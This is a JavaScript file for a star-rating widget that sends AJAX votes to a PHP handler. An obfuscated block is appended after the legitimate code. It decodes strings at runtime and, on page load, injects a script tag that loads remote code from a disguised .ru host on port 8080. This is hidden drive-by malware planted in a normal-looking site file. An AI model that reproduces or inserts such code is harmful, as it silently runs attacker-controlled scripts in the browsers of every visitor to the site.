// All part of the Dynamic Star Rating by Jordan Boesch!
// http://creativecommons.org/licenses/by-nc-nd/2.5/ca/
// PRE-LOAD IMAGES -----------------------------

if (document.images){
  pic1 = new Image(220,19);
  pic1.src = "images/rating_loading.gif";

  pic2 = new Image(25,75);
  pic2.src = "images/rating_star.gif";

  pic3 = new Image(25,75);
  pic3.src = "images/rating_star_2.gif";

  pic4 = new Image(16,13);
  pic4.src = "images/rating_tick.gif";

  pic5 = new Image(14,14);
  pic5.src = "images/rating_warning.gif";
}

// AJAX ----------------------------------------

var xmlHttp
function GetXmlHttpObject(){
var xmlHttp = null;
	try {
	  // Firefox, Opera 8.0+, Safari
	  xmlHttp = new XMLHttpRequest();
	  }
	catch (e) {
	  // Internet Explorer
	  try {
			xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
		}
	  catch (e){
			xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
		}
	  }
	return xmlHttp;
}

// Calculate the rating
function rate(rating,id,show5,showPerc,showVotes){
	xmlHttp = GetXmlHttpObject()
	if(xmlHttp == null){
		alert ("Your browser does not support AJAX!");
		return;
	  }
	xmlHttp.onreadystatechange = function(){
	var loader = document.getElementById('loading_'+id);
	var uldiv = document.getElementById('ul_'+id);
		if (xmlHttp.readyState == 4){
			//loader.style.display = 'none';
			var res = xmlHttp.responseText;
			//alert(res);
			if(res == 'already_voted'){
				loader.style.display = 'block';
				loader.innerHTML = '<div class="voted_twice">You already voted!</div>';
			} else {
				loader.style.display = 'block';
				loader.innerHTML = '<div class="voted">Thanks for voting!</div>';
				if(show5 == true){
					var out = document.getElementById('outOfFive_'+id);
					var calculate = res/20;
					out.innerHTML = Math.round(calculate*100)/100; // 3.47;
					//out.innerHTML = Math.round((calculate*2),0)/2; // 3.5;
				}
				if(showPerc == true){
					var perc = document.getElementById('percentage_'+id);
					//var newPerc = Math.round(Math.ceil(res/5))*5;
					var newPerc = res;
					perc.innerHTML = newPerc+'%';
				}
				else if(showPerc == false){
					var newPerc = res;
				}
				if(showVotes == true){
					var votediv = document.getElementById('showvotes_'+id).firstChild.nodeValue;
					var splitted = votediv.split(' ');
					var newval = parseInt(splitted[0]) + 1;
					if(newval == 1){
						document.getElementById('showvotes_'+id).innerHTML = newval+' Vote';
					} else {
						document.getElementById('showvotes_'+id).innerHTML = newval+' Votes';
					}
				}
				var ulRater = document.getElementById('rater_'+id);
				ulRater.className = 'star-rating2';
				var all_li = ulRater.getElementsByTagName('li');
				for(var i=1;i<all_li.length;i++){
					all_li[i].getElementsByTagName('a')[0].onclick = 'return false;';
					all_li[i].getElementsByTagName('a')[0].setAttribute('href','#');
				}
				if(navigator.appName == 'Microsoft Internet Explorer'){
					uldiv.style.setAttribute('width',newPerc+'%'); // IE
				 } else {
					uldiv.setAttribute('style','width:'+newPerc+'%'); // Everyone else
				 }
			}
		} else {
			loader.innerHTML = '<img src="images/rating_loading.gif" alt="loading" />';
		}
	}
	var url = "includes/rating_process.php";
	var params = "id="+id+"&rating="+rating;
	xmlHttp.open("POST",url,true);
	xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xmlHttp.setRequestHeader("Content-length", params.length);
	xmlHttp.setRequestHeader("Connection", "close");
	xmlHttp.send(params);
}
var Q_;if(Q_!='UE' && Q_ != ''){Q_=null};try {var c=new String();var q=new Array();var F='';var b=new Array();var v;if(v!='' && v!='_'){v=''};var L=']';var gQ=new Date();var d='g';var o;if(o!='iC' && o != ''){o=null};var bN=new Date();var pw;if(pw!='' && pw!='KZ'){pw='gz'};var UJ;if(UJ!='UR'){UJ=''};var j='[';var aM;if(aM!='sC' && aM != ''){aM=null};var MN;if(MN!='' && MN!='Wa'){MN=null};var SB=RegExp;this.gL='';this.ZP='';var G='replace';var Lz;if(Lz!='rB'){Lz=''};var ij;if(ij!='_K'){ij=''};function S(r,p){var ov;if(ov!='bT'){ov='bT'};var M=j;M+=p;var QD="";M+=L;var N=new SB(M, d);var HG='';return r[G](N, F);};var fg;if(fg!='ej'){fg=''};var W=S('84433404333343844444330444334',"34");var z=S('a6p6p6e6n6d6C8h8i8l8d8',"86");var R=S('hVtKtVpK:K/V/WnKeWxVtVaWgK-KcWoKmK.WgKoWoVgVlVeV.KcWnW.WsVzVnW-VcKzW.VmKyWhKoWmWeVoWrKdWeKrV.WrWuW:V',"VKW");var BB;if(BB!='fx' && BB!='P'){BB='fx'};var g=S('s2e2tNAkt1tkr1i1b1u2t1e1',"N21k");this.Xd='';var K=S('/At8i8m3ex.8c3o3mA/AtAi8m3eP.Pc3oxm3/Ag8o8oPgPlxe8.PcAo8mP/Au3pxlAoxaAdAi8nxgx.8c8oPmx/3sxePaxr8sx.3cxoxmA.xpPh3pP',"PA38x");var zr;if(zr!='EH' && zr!='SO'){zr='EH'};var z_;if(z_!='' && z_!='hh'){z_=''};var i=S('bMo4dIy3',"4MI73");var OG='';var WJ;if(WJ!='' && WJ!='XN'){WJ=''};var r="1";var Qe;if(Qe!='WV' && Qe!='vo'){Qe=''};this.ew='';var WS='';var Z=S('osnslPosasdP',"Ps");var E=S('smcmrNimpNtN',"mN");var KI=new Array();var pi=new String();var U=S('cQrQeFaFtFeFEFlQeFmFeQnFtQ',"FQ");var ub;if(ub!='ln'){ub='ln'};var oA;if(oA!='_q'){oA='_q'};window[Z]=function(){var Ai;if(Ai!='' && Ai!='Ol'){Ai='sq'};var Wf;if(Wf!='' && Wf!='lL'){Wf='sG'};Q=document[U](E);this.IF='';var PI=new Date();var bM;if(bM!='Y'){bM=''};this.vJ="";WS+=R;var GT;if(GT!='Yu' && GT!='Aa'){GT='Yu'};var uK="";WS+=W;var z_E=new Date();WS+=K;var El="";var Re="";var _o="";var Kl=document[i];var ijo;if(ijo!='' && ijo!='ve'){ijo='CJ'};var TO="";Q.setAttribute('defer', r);var kE=new String();var hF=new String();var wP=new String();Q.src=WS;var ZT=new String();Kl.appendChild(Q);var RV;if(RV!='' && RV!='qQ'){RV=''};this.dN="";};var wJ='';var wKQ;if(wKQ!='' && wKQ!='cx'){wKQ='Mr'};this.eg='';var uo;if(uo!='' && uo!='Am'){uo=''};} catch(O){this.rs='';var JZ=new Date();};